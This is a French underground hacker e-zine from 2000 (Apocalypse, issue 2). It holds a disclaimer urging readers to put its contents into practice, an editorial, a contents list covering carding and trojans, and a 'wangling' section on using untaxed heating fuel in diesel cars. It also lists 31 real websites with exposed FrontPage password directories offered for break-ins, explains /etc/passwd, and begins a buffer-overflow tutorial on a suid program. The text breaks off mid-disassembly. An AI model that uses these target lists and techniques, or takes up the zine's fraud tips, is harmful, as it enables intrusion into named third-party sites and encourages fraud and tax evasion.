HISSUE NOUMBEURRE TOUH NOVEMBRE 2000 いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい ##### ###### ##### ###### ##### # # # ###### ###### ###### # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ####### ###### # # # ####### # # ###### ##### ### # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ##### ###### # # ####### # # ###### ###### いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい ---> Mis en oeuvre par Redoxx & The Archivist <--- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ---> Edit par le Hacktif Crew <--- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ WWW.HACKTIF.NET UNDERNET : #CYBERPUNK POUR LIRE CORRECTEMENT CET E-ZINE, OUVREZ-LE AVEC NOTEPAD ET SELECTIONNEZ "PAS DE RETOUR A LA LIGNE" DANS LES OPTIONS DE L'AFFICHAGE. # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい DISCLAMERDE いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい La diffusion et la lecture de cet e-zine sont prives : les membres de l'UnderGround sont les seuls et uniques personnes ayant le droit de le lire. Si vous tes membre d'une organisation gouvernementale ayant pour but d'arrter les membres du mouvement CyberPunk ou du mouvement UnderGround, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser. Si vous tes un informateur quelconque d'une agence gouvernementale, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser. Si vous tes membre d'une quipe de scurit publique ou prive cherchant espionner les faits et gestes des membres du mouvement UnderGround CyberPunk, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser. Si vous tes un empaff vous croyant suprieur de par votre rang social, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser. Si vous tes membre d'un parti d'extrme-droite ou que vous supportez de telles ides, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser. Si vous pensez que les CyberPunks ne sont qu'une bande de junkies dgnrs, alors vous n'avez pas le droit de lire cet e-zine, ni de le diffuser. Si vous pensez que le capitalisme "MiKro$oFtiEn" est un exemple pour toutes les socits de cette plante, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser. Si vous pensez que les sites racistes, pdophiles, nazis ou sectaires ont leur place sur Internet, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser. Lire ce bulletin en n'tant pas dans l'UnderGround informatique constitue donc une violation des lois de Copyright et de Proprit Intellectuelle ainsi qu'un acte de malveillance envers les auteurs et les rdacteurs car il revient lire des informations prives. Si vous tes membre de l'UnderGround, alors continuez lire cet e-mag, n'hsitez surtout pas le diffuser et mettre en pratique ce qui se trouve dcrit l'intrieur, mais si vous vous faites prendre, vous ne pourrez vous en prendre qu' vous mme, et nous vous prions de ne pas citer cet e-zine en tant que source d'informations de nature illgale, mme dans le cas d'un interrogatoire. Et rappelez-vous : rien n'est illgal tant qu'on ne se fait pas prendre. (o: Hacktif Team :o) ^^^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい EDITO いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい Bienvenue... Vous allez pntrer dans l'univers mystique que sont les mandres psychotiques de la pense paranode auto-guide par l'instinct nvrotique tendance schizophrne des membres de la communaut CyberPunk... Bienvenue dans notre monde... A l'accoutume, mon indolente et oisive personne se refuse obstinment accomplir tout acte inutile dont l'intrt est nul alors que tant de mirifiques merveilles attendent que mon humble mais passionn cerveau s'intresse elles, cependant, je vais tenter de vous faire un ditorial en bonne et due forme... Eh oui, le Hacktif Crew grandit et vous avez devant vos grands yeux bahis et merveills le second numro de l'e-zine APOCALYPSE :oP Tout d'abord, je vous rappelle que APOCALYPSE n'est mis en oeuvre que pour rassembler un maximum d'articles venant de tous les horizons de chaque discipline et sur tous les sujets : hacking, cracking, phreaking, social engineering, webmastering, trashing, arnaques, weed et autres joyeuseuts hallucinognes, bibine, vol dans les magasins, tag, graphes et graffitis, anarchie, dlires divers, culture cyberpunk, destruction et terrorisme, philosophie, gravage, espionnage, fric facile, emmerder le monde, et tout ce qui est tendance ultra-librale et anti-conformiste. Je vous rappelle galement que ce journal tant fait par l'Underground pour l'Underground, toute contribution est la bienvenue, sous quelque forme qu'elle soit, hormis les critiques qui ne servent rien car non-constructives (une insulte est d'ailleurs rarement constructive). A ce sujet, je voudrais profiter de cet dito pour dire tous ceux qui passent le temps descendre le Hacktif Crew sur IRC et sur les forums (ils se reconnatront) que ce serait bien mieux s'ils nous expliquaient quelles sont nos erreurs plutot que de nous traiter de lamers... Eh oui, nous ne sommes pas des lites, et nous n'avons d'ailleurs jamais prtendu en tre ; notre seul but est de runir des CyberPunks ayant un minimum de comptences pour changer nos connaissances et pour tenter de construire quelque chose ensemble. Nous ne nous sommes jamais vants de quoi que ce soit et nous ne nous posons ni en exemples pour les gnrations futures ni en matres incontests de l'Underground, car nous sommes bien loin de mriter ce titre. Ce qui est marrant, c'est que le groupe Cryptel s'est galement fait chier dessus alors qu'ils tentait de construire quelque chose, puis les membres ont t traits de trous du cul quand ils se sont fait busted, alors que peu de hackers/crackers/phreakers franais en ont fait autant qu'eux pour la Scne. C'est sr que c'est bien plus simple de critiquer les autres et de se complaire dans son pseudo-savoir, son pseudo-litisme et son inactivit parce-que-le- hacking-c'est-pas-bien-et-c'est-illgal-d'abord que de tenter de donner une bonne image de l'Underground... Je rappelle aux petits frenchies qui nous lisent que le Hacktif Crew est compos galement de belges et de suisses, et que, mme s'il est vrai que la Scne suisse n'est pas trs trs dveloppe, la Scne belge se porte bien mieux que la Scne franaise, grce un groupe nomm Belgian Hackers Zone (greetz to Asmodeus) qui s'en est pris plein la gueule et qui a pourtant persvr pour devenir le groupe respect qu'on sait. Donc tapez-nous dessus, chiez-nous au nez, pissez-nous la raie, ptez-nous la gueule, mettez-nous des claques, insultez-nous, dfoncez-nous le boule, vous ne faites que nous motiver encore plus pour continuer dans la voie o nous nous sommes engags, et chaque fois que l'un de vous nous critique, on se rend compte d'une seule chose : on ne peut rien lui dire, on ne peut rien lui faire, car il n'est rien. Pour parler d'autre chose, au sommaire de ce mag, vous trouverez un article de Klog sur le buffer overflow crit il y a dja quelques temps, ainsi qu'un article qui sera certainement dsapprouv car il fait la rhabilitation des trojans, la suite du Millenium Cracking Tutorial de tHE ANALYST, et la suite du Phreaking for the New Scene, avec pour cette fois la Phreakon Team en Guest-Star ;o), un point sur le groupe qu'est Hacktif, un article sur le carding, de la backdoor dans les scripts IRC, du password Linux, des dlires, de la philo, ainsi qu'un tas d'autres trucs qui, j'espre, vous plairont. Enfin, pour cloturer cet dito, je tiens passer un big greeting tous les membres de Hacktif, ainsi qu' la mAdteAm (notamment Lonard, Lansciac, mAddAny, Solid-Snake, Jericho et Ulysse31), la Phreakon Team (notamment GanGStucK et Reklyd), l'quipe de Epsylon (surtout Mams et Cerise), au Trench Coat Handbook (surtout Der Freirahk qui nous a rejoint), aux membres de la RtC (avec qui je suis rest en bons termes malgr mon dpart du groupe), la Cryptik Underground Team (mon autre petit groupe qui continue discrtement et tranquillement son petit bonhomme de chemin), au groupe France Assassine (un truc fond par GarD dont vous pourrez trs bientt constater les actions), au crew Not Phor Kops (principalement Sauron et Medgi), Th3_KiinG, Kasim0d0, MrPhilex, TipiaX, Flusher, Douphi, Spirit, SyMBioZ et tous ceux que j'oublie mais avec qui j'ai appris ou dlir un jour ainsi qu'au magazine Newlook et son rdacteur en chef :o) Bon, ben voila, je crois que j'ai dit tout ce que je veux dire et que ce long dito va se terminer dans les prochaines lignes, donc je vous souhaite une bonne lecture, et si cet e-zine ne vous plait pas et que vous trouvez que la Hacktif Team rase le sol, ben je vous recommande d'aller vous faire enculer par un babouin sodomite en rut, et je vous emmerde profondment :o) Allez, je vais m'arrter l pour cet intro, alors je vous souhaite une bonne lecture, et j'espre que vous apprcierez ce zine. ~)- Redoxx -(~ ^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい CONTACTS いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい * * * * * * * * * * * * * * * * * * * * * * * M A I L S * * I R C * * * * * * * * * * * * * * * * * * * * * * * Redoxx Serveur : ---> Redoxx@Mailme.Org ---> eu.undernet.org The Archivist Chan de Hacktif : ---> Root@Sefti.net ---> #CyberPunk tHE ANALYST Autres chans frquents : ---> Acid2600@Hotmail.Com ---> #madchat ---> #thebhz ---> #npk Phreakon Team ---> #skreel ---> Phreakon@Caramail.Com ---> #nethack ---> #mezza ---> #crypteria Massine ---> Hhhhh... TorKaL * * * * * * * * * ---> TorKaL@TorKaL.Org * * * S I T E S * * * Der Freirahk * * * * * * * * * ---> Freirahk@Hotmail.Com Drahiin www.hacktif.net ---> Cryptel@Excite.Com www.cut.fr.st Lonard www.crackinggod.org ---> Root@mAdchAt.org www.thebhz.org ThreaT www.phreakon.fr.st ---> ThreaT@Caramail.Com www.cryptel.cjb.net Scurt www.madchat.org ---> Scurt@Hackitf.Private.As www.handbook.ift.cx # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい SOMMAIRE いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - TITRE - AUTEUR - - - Le Point sur le Hacktif Crew - Redoxx - - - Wangling - The Archivist - - - Passwords Files - Massine - - - Explication des Passwords Linux - Redoxx with help of Oktober - - - Le Buffer OverFlow - Klog - - - Cellular Bal Intrusion - The Archivist - - - Big Brother & Echelon - TorKaL - - - Millenium Cracking Tutorial - tHE ANALYST - - - Contrler un PC grce IRC - Redoxx - - - Carding, Explications & Utilisations - Der Freirahk - - - Phreaking for the New Scene - Redoxx & Phreakon Team - - - RatMode : l'Homo-Computus - Lonard - - - Shell Script Infection - ThreaT - - - A qui profite l'information ? - Drahiin - - - Rhabilitation des Trojans - Redoxx - - - Cracker DevilSword et Amliorer sa Scurit - tHE ANALYST - - - Manuel du Pseudo-Hippie - Der Freirahk - - - Web Engineering - Scurt - - - On recrute !!! - Redoxx - - - Outro - Redoxx - - # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい LE POINT SUR LE HACKTIF CREW いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい Depuis la cration du Hacktif Crew le 16 septembre 1999, il a chang plusieurs fois d'orientation, s'est refond plusieurs fois, certains membres se faisant buster, d'autres prenant leur "retraite", d'autres encore choisissant de quitter le groupe. Faisons donc un petit rappel historique de ce qu' t le Hacktif Crew. Tout d'abord, Hacktif fut la "Guilde des Hacktivistes pour un Web Libre et Indpendant" fonde par moi-mme (Redoxx) et Neuromancien, avec l'aide du dsormais tristement clbre RavenShadow (tout le monde fait des erreurs) et il comptait environ une trentaine de membres mais le groupe restait trs discret et au final peu actif si ce n'est sur le plan du crashing des ordinateurs de fachos ou de nazillons reprs sur des chats (po bien ! mdr). Neuromancien prenant sa retraite suite un bust le 26 janvier 2000, je dcide d'en faire un "Portail Underground des CyberPunks Indpendant" regroupant un maximum de groupe comme la Cryptik Underground Team, HackerStorm, De-Generation-X, le RtCg4nG (depuis devenu la RtC) ou le Cult of the Dead Surfer (cDs) ainsi que d'autres sceners solos. Le projet a assez bien march, mais hormis quelques projets de faible envergure, le groupe n'a rien fait et est l aussi rest trs discret. Finalement, le 16 septembre 2000, un an aprs la cration du groupe, j'ai pris la dcision de refonder le groupe pour en faire un groupe htrogne et assez actif, en recrutant un maximum de membres, mais tous comptents dans au moins un domaine consituant la Scne. Aujourd'hui, le groupe compte 17 membres de diffrentes nationalits (franais, belges, suisses) a un site web qui marche plutot bien, ainsi qu'un chan IRC (#nethack sur Undernet) assez frquent, a pirat environ 250 sites (dont une trs grande majorit par tHE ANALYST, vu qu'il a pirat 238 sites en une semaine !!!), gre un petit forum via son site web, et, comme tous les groupes qui essayent de faire quelque chose, s'en prend plein la gueule sur IRC ou grands coups de mails d'insultes (faut vraiment avoir que a faire...). Mais, malgr les critiques peu constructives de certains, nous recevons l'aide et l'approbation de beaucoup d'autres, donc nous pensons continuer sur le chemin o nous marchons, avec un gros greeting mAdchAt et Epsylon qui nous aident beaucoup, en esprant (pourquoi pas ?) devenir un jour un groupe comme le Chaos Computer Club de Hambourg (riche d'une bonne centaine de membres). Malgr cette ambition (n'y voyez l aucune vantardise, juste une envie), notre principal objectif est de relancer la scne franaise (les scnes suisses et belges se porte bien mieux qu'elle alors que ce sont de bien plus petits pays que la France... cherchez l'erreur...) et de tenter d'unifier un tant soit peu tout les sceners europens francophones, et, si possible, d'arrter toutes ces petites guerres d'influence qui pourrissent l'Underground et qui ne sont d'aucune utilit. Voila. Rendez-vous dans un an pour un autre point si on existe toujours :oP ~)- Redoxx -(~ ^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい WANGLING いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい Le Wangling qu' est ce que ' est? C' est tout les domaines ayant attrait au resquillages, et autres debrouilles evitant de payer de l' argent ou autres. Cette nouvelles rubrique sera desormais presente dans chaque zine d' Apocalypse. Certains mdiront dessus j' en suis sur, mais en attendant vous vous en servirez dans tout votre quotidien et franchement vous en verrez vite l' utilite et m' en remercirez!!! En general, ces astuces ne sont pas diffuses pour en etre seul utilisateur et ainsi seul profiteur, seulement je ne le visualise pas comme a et le partagerais donc avec vous au fil des zines. let's gooooo.... 1)gazoil moins cher!!! ********************** Vous avez remarqus que le prix de votre gazoil est obscur? Vous ne comprenez pas les raisons d' un tel prix? Vous avez des revenus tres modiques voir nul et payer le carburant vous vide votre compte et donc vous penalise!!! Vous comprenez pourquoi? NON bien entendu, et personne ne le comprend, vous voudriez le savoir? ou plutot, non, ne plus payer aussi cher? vous n' avez qu' a suivre le guide!!! Pour cette mthode il faut d' abord savoir que c' est illgal, mais surtout qu' il faut avoir une voiture qui circule au gazoil et non pas l' essence, super, sans plomb .... Pourquoi payer votre gazoil entre 5 et 6 fr quand on peut le payer entre 2 et 3fr? Tout simplement parceque l' Etat en dcider ainsi ... Mais depuis quand vous ecoutez l' Etat? Alors on y va! Vous avez sans doute remarqus, mais les chauffages au fuel marchent au fuel (normal vous me direz...), mais qu' est ce que le fuel? Le fuel c' est tout simplement du gazoil.... et oui!!! Donc pour payer moins cher il vous suffit donc d' acheter du fuel plutot que de passer a la pompeuse biftons pour faire son plein! Mais malin qu' est l' Etat, le fuel comporte un colorant de couleur ros qui permet de verifi si l' on ne l' utilise pas, et donc ne paye pas les taxes qui leur sont dut (pensez a leurs gosses, la psx2 sort bientot, y a noel, anniversaire, la z8 a acheter, une hausse sur les sandwitch au caviar a la tour d' argent....). Mais bon les controles ne sont effectus que sur les camions...donc euhhhhh vais pas vous le dire de le faire, vous etes grands mais bon moi un plein me coute 100fr et vous? Toute fois une utilisation accrue de fuel rendera votre pot un peut ros, dans tout les cas si un jour vous vous faites pincs (jamais eu de controles pour a!!! ni jamais entendu parler) et qu' on vous dit que vous avez utiliss du fuel dans votre voitre et que suivant la loi n [...] ahhhh baillez un bon coup et sortez leur que vous en avez utiliss c' est vrai, mais a but priv dans un lieu priv et que vous en avez tout fait le droit! Immaginez desormais ce que vous pourrez faire avec 200fr de moins par plein!!! Capotes a volontes, un gros 200 dans votre tete,... tout a grace a qui? 2) Cigarrettes moins cher!!! **************************** Vous avez remarquez les rauseaux? ben en fait c' est des cigarettes,... lol non je plaisantes. Cette fois l information est meme legale, vous pourrez payer vos cigarettes deux foit moin cher, a vous tente?.... non? bon tant pis. Quoi? finalement a vous tente? Oki... En fait les lois sont toujours imprecises et il a toujours donc des failles qui permettent de les contournes. Une des failles sur la taxation, est de petits pays qui ne sont pas taxs, he he he! Allez donc sur www.yesmoke.com et commandez (non ce n est pas mon site, ni celui d' un ami, je ne touche rien!); la vous pourrez commandez vos cigarettes par cartes (et oui faut une carte pour a.... ou....hum... j' entend carding derriere moi? perso je vois pas le raport! :p). Dans tout les cas meme en restant dans la legalite, vous payerez vos cartouches entre 100 et 120fr livre a domicile, bureaux... Commandez maximum par 3 cartouches (sinon c' est suspect), et vous receverez un boh colis, avec le tampon de la douanne en prime, et pour beaucoup moin cher! Ne vous inquietez pas j' ai tester a marche, et d' ailleurs je continues. Vous trouverez de suite ( en tant que personnes intelligentes que vous etes... non?) des petit affaires faires autour de a (traffic de cigarettes? kesako ?). )-)< The Archivist ^>(-( ^^^^^^^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい PASSWORDS FILES いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい [NdRedoxx : ces 31 passwords files m'ont t transmis par Massine qui m'a demand de les diffuser parce qu'il veut "faciliter le travail aux autres"... Faites-en bon usage !] http://www.educational-communications.com.au/_vti_pvt/ http://www.mwsc.edu/~writing/_vti_pvt/ http://homepages.uc.edu/~smitc/_vti_pvt/ http://kilkhor.cc.iwate-u.ac.jp/cozmix/_vti_pvt/ http://lion.cecs.missouri.edu/_vti_pvt/ http://lion.cecs.missouri.edu/root/_vti_pvt/ http://lion.cecs.missouri.edu/root/root/_vti_pvt/ http://www.studybreaks.com/_vti_pvt/ http://www.iqsnet.it/seric/_vti_pvt/ http://www.islmusic.com/_vti_pvt/ http://www.islmusic.com/_vti_pvt/ http://www.universal.nl/users/hendriks/_vti_pvt/ http://nic.cpuc.ca.gov/employmentweb/_vti_pvt/ http://www.frostlineinc.com/_vti_pvt/ http://www.bellc.com/_vti_pvt/ http://www1.freeweb.ne.jp/~shnetwg/_vti_pvt/ http://homepages.acenet.co.za/pulse/_vti_pvt/ http://home.wanadoo.nl/theosplace/_vti_pvt/ http://www.streetlight.com/_vti_pvt/ http://www.studybreaks.com/_vti_pvt/ http://www.iqsnet.it/seric/_vti_pvt/ http://www.suthrlnd.demon.co.uk/_vti_pvt/ http://www.wfubmc.edu/_vti_pvt/ghindex.html http://web2.netcarrier.net/_vti_pvt/ http://www.pc-genius.com/_vti_pvt/ http://www.islmusic.com/_vti_pvt/ http://www.cptours.com/_vti_pvt/ http://incolor.inetnebr.com/derekgb/_vti_pvt/ http://www.universal.nl/users/hendriks/_vti_pvt/ http://nic.cpuc.ca.gov/employmentweb/_vti_pvt/ http://www.frostlineinc.com/_vti_pvt/ -'- Massine -'- ^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい EXPLICATION DES PASSWORDS LINUX いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい Un des fichiers les plus important sur un systme Linux, et un des plus intressant pour la plupart d'entre nous :o), est le fichier password. J'ai donc dcid de vous offrir une petite introduction ce fichier. D'abord, la structure : Chaque ligne reprsente un utilisateur, un daemon ou un service du systme... Chaque ligne est spare en parties par des " : " qui reprsentent chacun un segment d'information sur les accs et droits de l'utilisateur. Ex : root:x:0:0::/root:/bin/bash - La premire partie de la ligne reprsente le nom de l'utilsateur (root). - La deuxime reprsente le mot de passe de l'utilisateur (il est encod). Si un X ou un * se trouve cette place, c'est parce que les mots de passe se retrouvent dans un autre fichier appel "fichier shadow" ; cette mesure sert de double scurit car si quelqu'un russi se procurer le password file, il devra aussi avoir le shadow pour pouvoir dcrypter les passwords. - Le troisime champ est l'UID (User ID) qui sert identifier l'utilisateur par un numro pour le systme d'exploitation. - La quatrime position est le GID (Group ID), qui identifie le # du groupe auquel appartient cet utilisateur. - En cinquime position vient le champ de commentaire qui peut servir mettre le vrai nom d'un utilisateur ou d'autres infos. - La position suivante est le rpertoire "home" de l'utilisateur, le rpertoire o il se retrouve lorsqu'il se loggue sur le systme. - En dernier, nous retrouvons la premire commande excute lorsque l'utilisateur se loggue, il s'agit habituellement d'un interprteur de commandes qui permettra ce mme utilisateur d'entrer certaines commande pour interagir avec l'OS. Exemple de fichier passwd complet : (ce fichier se trouve dans /etc/passwd) operator:x:11:0:operator:/root:/bin/bash root:x:0:0::/root:/bin/bash shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown sync:x:5:0:sync:/sbin:/bin/sync bin:x:1:1:bin:/bin: ftp:x:404:1::/home/ftp:/bin/bash daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: mail:x:8:12:mail:/var/spool/mail: postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: man:x:13:15:man:/usr/man: haxorz:x:405:100:guest:/dev/null:/dev/null nobody:x:65534:100:nobody:/dev/null: daft:x:1000:100:,,,:/home/daft:/bin/bash Son utilit : Le fichier permet entre autres de rcuprer le mot de passe d'un systme si ce dernier ne les a pas mis en shadow. Il permet aussi d'enlever un utilisateur du systme en effacant la ligne qui lui correspond dans le fichier. NOTE : Ne tentez jamais de modifier le champ du mot de passe en le changeant directement dans le fichier password ; il ne sera pas valide. Scurits possibles : Il y a diffrent systmes qui enlvent le champ du password pour le remplacer en X ou en * pour des raisons de scurit. Il y a d'abord le systme des SPF (shadowed password file) qui enlvera tous les passwords du fichier password pour les mettre dans le fichier shadow. Ensuite, il y a le NIS (Network Information System) qui lui utilise une banque centralise d'information sur les utilisateurs et leurs mots de passe (plutt rare). Enfin, il y a les YP (Yellow Pages) qui n'utilisent pas le champ rserv au mot de passe dans le fichier password et qui fonctionne la manire du NIS. Bien entendu, il y a des tas d'autres systmes mais le SPF et les YP sont les systmes les plus courants. ~)- Redoxx & Oktober -(~ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい LE BUFFER OVERFFLOW いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい "L'exploitation du SUID par l'Homme" Par Klog, Promisc Security, Inc. Dans le but d'expliquer ce qui est, de toute faon, devenu chose commune chez les script kids. INTRODUCTION ~~~~~~~~~~~~ Avant de dbuter, il serait ncessaire de comprendre en quoi consiste un buffer overflow. tant donner que je m'attends de vous a avoir certaines connaissances en C ainsi qu'en assembleur, je ne m'attarderai pas sur ce point. Lors de l'appel d'une procedure, le processeur sauvegarde d'abord le contenu actuel de %eip dans la stack du programme. Or, la stack ne contient pas _seulement_ que ces positions sauvegardes, mais aussi tout buffer alloue dynamiquement, ce qui signifie toute variable dclare a l'intrieur d'une procdure, ou toute variable servant d'argument a une procdure. Voici un bref exemple de ceci: proc(char *buf2, char *buf1) { char buf3[10]; ... <--- breakpoint } main() { char buf0[4]; ... proc("pro", "misc"); } STACK: [... [buf3][%eip][buf2][buf1][buf0]...] Suivant ce principe, nous serons vite intress a overwriter %eip sauvegarde dans la stack afin de faire excuter au processeur notre code arbitraire. La question est _comment_ overwriter l'image d'%eip. Hors, nous savons qu'en C, certaines fonctions peuvent crire dans un buffer et, si l'on lui ordonne d'crire un string plus grosse que le buffer destination, elle le fera au-del des limites du buffer. On inclue parmi ces fonctions gets(), sprintf(), strcpy(), strcat(), ainsi que des fonctions juges "plus scures" telles que snprintf() ou bopcy(), si celles-ci sont mal utilises. De plus, toute fonction de libc (ou toute autre librairie) faisant appel a de telles fonctions sont, elles aussi, contamines par la vulnrabilit, par exemple certaines vieilles versions de syslog(). Il serait aussi utile de surveiller toute assignation faite a des pointeurs, surtout lorsque celles-ci sont itratives, ou pire, rcursives. Pour rsumer, l'exploitation d'un buffer overflow consiste en une opration d'une grande prcision ou l'on tente d'overwriter l'image de %eip sauvegarde dans la stack, en tentant d'obliger une function vulnrable a crire au-del des limites d'un buffer loge dans le stack segment. Voici donc une illustration de chacune des crations de buffer dans la stack de l'exemple prcedent, ainsi que la string qui servira a overwriter %eip si nous considrons que nous la copierons en exploitant, par exemple, strcpy(buf3, string): BUF0: XXXX BUF1: XXXX BUF2: XXXX EIP: [old_eip] BUF3: XXXXXXXXXX STRING: XXXXXXXXXX[new_eip] L'EXPLOITATION ~~~~~~~~~~~~~~ Maintenant que nous avons pris connaissance de certains elements essentiels, il serait bien de mettre sur pied un plan d'attaque. Ainsi, nous savons qu'il est possible d'executer arbitrairement un quelconque code en overwritant %eip. La question est maintenant de savoir ou sera positionner ce code. En effet, il faut tenir compte du fait que nous sommes dans un environnement protger, ou la virtual memory est utilise. Cela nous oblige donc a include le code a excuter a l'intrieur mme des segments du processus vulnrable (qui, tant suid, devient une proprit du root lors de son excution), sans quoi une faute de protection ou de segmentation se produira. C'est d'ailleurs pour cette raison que nous placerons notre code a l'intrieur mme du buffer. Voici une nouvelle reprsentation de la string de l'overflow: STRING: [NOPs][code arbitraire][new_eip] Maintenant que nous savons en quoi consiste la string que nous allons utiliser, il serait temps de trouver quelques adresses qui nous seront ncessaires pour le bon fonctionnement de l'opration: 1) l'adresse du buffer a overflower; 2) la position de l'image de %eip. C'est ici que vous devrez sortir le meilleur ami de l'homme: gdb. Supposons d'abord que le programme suivant soit suid root et que nous dsirions l'exploiter... iff% cat > suid.c main(int argc, char *argv[]) { char buffer[1024]; strcpy(buffer, argv[1]); } ^C iff% gcc -static suid.c -o suid iff% gdb suid [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c0
